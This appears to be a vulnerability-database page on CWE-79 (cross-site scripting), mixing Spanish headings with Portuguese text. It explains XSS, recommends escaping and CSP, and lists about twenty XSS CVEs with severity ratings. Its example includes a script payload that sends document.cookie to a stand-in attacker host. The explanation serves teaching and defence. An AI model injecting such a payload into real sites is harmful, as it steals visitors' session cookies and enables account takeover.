Fallos del tipo CWE-79

29.613 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-10330MEDIUMcdevroe unmark searchform.php cross site scriptingEPSS 0.4%CVE-2024-29794HIGHWordPress Conversios.io plugin <= 6.9.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-4618MEDIUMExclusive Addons for Elementor <= 2.6.9.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Team Member WidgetEPSS 0.4%CVE-2026-12948MEDIUMStored Cross-Site Scripting (XSS)EPSS 0.4%CVE-2026-78071HIGHJoomla Extension - digital-peak.com - Authenticated, privileged stored XSS in DP Calendar 7.0.0-8.19.5, 9.0.0-10.12.0EPSS 0.4%CVE-2023-23807MEDIUMWordPress MojoPlug Slide Panel Plugin <= 1.1.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-20768MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-23852MEDIUMSAP Solution Manager (System Monitoring) - version 720, does not sufficiently encode user-controlled inputs, resulting in Cross-Site ScriptiEPSS 0.4%CVE-2022-45541MEDIUMEyouCMS <= 1.6.0 was discovered a reflected-XSS in the article attribute editor component in POST value "value" if the value contains a non-EPSS 0.4%CVE-2026-60028HIGHJoomla Extension - themexpert.com - Authenticated stored XSS in Quix Page Builder < 6.2.1EPSS 0.4%CVE-2026-41723HIGHVMSA-2026-0004: VMware Cloud Foundation Operations updates address multiple vulnerabilities (CVE-2026-41722, CVE-2026-41723 and CVE-2026-41724)EPSS 0.4%CVE-2026-77996HIGHJoomla Extension - yootheme.com - Authenticated, privileged stored XSS in YOOtheme Pro 1.0.0-5.0.41EPSS 0.4%CVE-2023-26457MEDIUMCross-Site Scripting (XSS) vulnerability in SAP Content ServerEPSS 0.4%CVE-2024-34811MEDIUMWordPress WP SMS plugin <= 6.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-14337MEDIUMPega Platform versions 23.1.0 through 25.1.3 are affected by an Stored Cross-site scripting (XSS) vulnerability in a user interface component. Requires a high privileged user with a developer role.EPSS 0.4%CVE-2023-45832MEDIUMWordPress WP GoToWebinar Plugin <= 14.45 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-69149HIGHAngular SSR: Missing Fallback Raw-Content Serialization Escaping leads to Cross-Site Scripting (XSS)EPSS 0.4%CVE-2022-45539MEDIUMEyouCMS <= 1.6.0 was discovered a reflected-XSS in FileManager component in GET value "activepath" when creating a new file.EPSS 0.4%CVE-2024-30506HIGHWordPress All In One Redirection plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-60034CRITICALJoomla Extension - themexpert.com - Authenticated stored XSS in JMedia Extension < 1.6.0EPSS 0.4%